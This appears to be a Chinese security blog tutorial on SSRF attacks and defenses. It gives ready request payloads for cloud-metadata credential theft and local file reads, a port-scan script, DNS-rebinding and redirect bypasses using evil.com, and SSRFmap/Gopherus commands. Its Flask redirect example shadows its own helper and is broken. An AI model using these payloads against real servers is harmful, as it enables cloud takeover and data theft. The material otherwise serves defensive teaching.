SSRF攻击深度剖析:从外网穿透到云服务器沦陷

SSRF攻击深度剖析:从外网穿透到云服务器沦陷

1. 什么是SSRF攻击?

SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种利用服务器作为代理发起非预期请求的攻击方式。攻击者通过控制服务器向内部系统或云元数据接口发送请求,导致内网渗透、数据泄露甚至远程代码执行。

危害等级:🔥🔥🔥🔥🔥(极高危)
典型场景

  • 云服务器元数据API访问(169.254.169.254)

  • 内网服务扫描(Redis/MySQL未授权访问)

  • 文件读取(file://协议)

2. SSRF攻击原理

漏洞产生条件
  1. 服务端存在网络请求功能(如URL预览、网页抓取)

  2. 请求目标可由攻击者部分或完全控制

  3. 服务器与内网存在信任关系

攻击流程

20250619094455725-image

3. 攻击类型与实战利用

(1) 基础SSRF(HTTP/HTTPS协议)
GET /api/fetch?url=http://internal.example.com/admin HTTP/1.1
Host: vuln-site.com

利用效果:访问内网管理界面

(2) 文件读取(File协议)
GET /api/download?url=file:///etc/passwd HTTP/1.1

防御方案:禁用file://gopher://等危险协议

(3) 云元数据攻击(AWS/Azure/GCP)
GET /api/export?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1

获取内容:云服务器临时密钥(可导致云环境沦陷)

(4) 端口扫描(Redis/SSH爆破)
import requests
for port in [6379, 3306, 22]:
    res = requests.get(f"http://vuln-site.com/api?url=http://127.0.0.1:{port}")
    if res.status_code != 500: 
        print(f"Port {port} is open!")

4. 高级绕过技术

(1) DNS重绑定攻击
GET /api/fetch?url=http://evil.com/ HTTP/1.1
Host: vuln-site.com

攻击步骤

  1. 控制evil.com的DNS解析

  2. 首次解析返回合法IP通过校验

  3. TTL过期后解析到127.0.0.1

(2) 302跳转绕过
# 恶意服务器代码(Flask示例)
@app.route('/redirect')
def redirect():
    return redirect("http://169.254.169.254", code=302)
(3) URL解析混淆
GET /api/fetch?url=http://user:pass@internal.example.com HTTP/1.1
GET /api/fetch?url=http://internal.example.com:80@evil.com

5. 自动化利用工具

  • Gopherus:生成攻击Redis/MySQL的SSRF Payload

  • python gopherus.py --exploit redis
  • SSRFmap:自动化扫描与利用
  • python ssrfmap.py -r req.txt -p url=http://127.0.0.1 --lhost=attacker-ip
  • Burp Collaborator:检测盲SSRF

6. 防御方案

(1) 网络层防护
  • 禁止访问内网IP段(如127.0.0.0/810.0.0.0/8

  • 使用独立网络沙箱处理外部请求

(2) 协议与域名白名单
ALLOWED_DOMAINS = ['example.com']
ALLOWED_SCHEMES = ['http', 'https']

def validate_url(url):
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError("Invalid scheme")
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError("Domain not allowed")
(3) 云环境加固
  • 限制元数据API访问(AWS IMDSv2)

  • # AWS IMDSv2强制启用
    aws ec2 modify-instance-metadata-options --instance-id i-123456 --http-tokens required
(4) 请求隔离
  • 使用无特权容器处理外部请求

  • 设置请求超时(如3秒)

7. 真实案例

案例1:某电商平台图片处理服务存在SSRF

  • 攻击链

    1. 上传图片URL为http://169.254.169.254/latest/meta-data

    2. 服务器获取AWS密钥

    3. 攻击者接管云服务器

案例2:WordPress XML-RPC SSRF(CVE-2022-3590)

<methodCall>
  <methodName>pingback.ping</methodName>
  <params><param><value>http://internal-db:3306</value></param></params>
</methodCall>

 

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容